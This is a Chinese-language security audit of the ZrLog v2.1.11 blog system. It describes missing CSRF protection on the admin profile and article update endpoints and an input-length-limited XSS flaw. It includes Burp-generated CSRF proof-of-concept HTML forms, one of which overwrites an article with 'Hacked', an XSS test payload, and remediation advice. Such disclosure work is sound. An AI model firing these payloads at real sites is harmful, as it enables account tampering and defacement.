ZrLog v2.1.11代码审计
字数 1636 2025-08-22 12:23:19
ZrLog v2.1.11 代码审计报告与漏洞分析
1. 系统概述
ZrLog 是一款使用 Java 开发的博客/CMS 程序,具有以下特点:
- 简约易用
- 组件化设计
- 内存占用低
- 自带 Markdown 编辑器
2. 审计发现的安全漏洞
2.1 CSRF 漏洞(个人信息修改)
漏洞分析
-
框架分析:
- 检查
pom.xml文件,确认未使用 Spring 框架及spring-security组件 - 缺少对 CSRF 的默认防护机制
- 检查
-
路由分析:
web.xml中通过com.zrlog.web.config.ZrLogConfig进行访问控制configRoute方法包含三条路由,其中管理员路由由AdminRoutes控制/api/admin接口由AdminController类控制
-
漏洞点:
AdminController类的update方法处理个人信息修改- 方法流程:
- 解析请求体
- 检查必要参数
- 根据运行模式和用户权限处理
- 返回响应对象
- 整个流程未经过任何
filter类拦截
漏洞复现步骤
- 登录后台,进入个人信息页面
- 修改任意信息并提交,使用 Burp Suite 拦截请求
- 修改
email参数为test_test@qq.com - 使用 Burp Suite 生成 CSRF POC
- 启动 HTTP 服务,浏览器访问 POC 页面
- 提交请求后,验证邮箱信息是否被修改
2.2 XSS 漏洞(个人信息处)
漏洞分析
-
漏洞点:
- 个人信息接口未对输入进行 XSS 过滤
- 可与 CSRF 形成组合攻击(CSRF+XSS 获取 cookie)
-
限制条件:
- 输入长度限制为 15 个字符
- 超过长度会报错
漏洞验证
- 尝试输入 XSS payload 发现长度限制
- 输入
1<script>alert(1)</script>测试(受长度限制无法完整输入) - 确认存在 XSS 漏洞但受长度限制难以利用
2.3 CSRF 漏洞(文章修改)
漏洞分析
-
路由分析:
AdminRoutes类中的文章处理接口- 由
ArticleController类的update方法处理文章更新
-
调用链:
update方法调用articleService.update()articleService实例化为ArticleService类(位于service-2.1.1.jar)update方法调用save方法处理创建/更新文章
-
漏洞点:
- 整个流程无 CSRF 防护机制
- 可未经授权修改文章内容
漏洞复现步骤
- 登录后台,进入文章管理模块
- 编辑任意文章,拦截请求
- 使用 Burp Suite 生成 CSRF POC(示例代码已提供)
- 浏览器访问生成的 POC 页面
- 提交请求后验证文章是否被修改
3. 漏洞利用代码示例
个人信息修改 CSRF POC
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://target/api/admin/update" method="POST">
<input type="hidden" name="email" value="attacker@example.com" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
文章修改 CSRF POC
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://target/api/admin/article/update" method="POST" enctype="text/plain">
<input type="hidden" name='{"id":"2","editorType":"markdown","title":"Hacked","alias":"hacked","thumbnail":null,"typeId":"1","keywords":null,"digest":"<p>Hacked</p>","canComment":false,"recommended":false,"privacy":false,"content":"<p>Hacked</p>\n","markdown":"Hacked","rubbish":"'value" value="'false"}' />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
4. 修复建议
-
CSRF 防护:
- 添加 CSRF Token 机制
- 对敏感操作使用 POST 请求并验证 Referer
- 考虑引入 Spring Security 框架
-
XSS 防护:
- 对所有用户输入进行严格的过滤和转义
- 实现输出编码
- 设置 Content Security Policy (CSP)
-
输入验证:
- 对个人信息字段增加合理的长度限制
- 对文章内容等长文本字段也应进行基本的 XSS 过滤
-
架构改进:
- 实现统一的权限验证过滤器
- 对管理员操作进行二次验证(如密码确认)
5. 总结
本次审计发现 ZrLog v2.1.11 存在多处安全漏洞,主要集中在:
- 缺乏 CSRF 防护导致的信息修改和文章篡改风险
- 输入验证不严导致的 XSS 漏洞(虽受长度限制但仍存在风险)
建议开发者尽快修复这些漏洞,特别是在处理敏感操作时增加身份验证和请求合法性校验。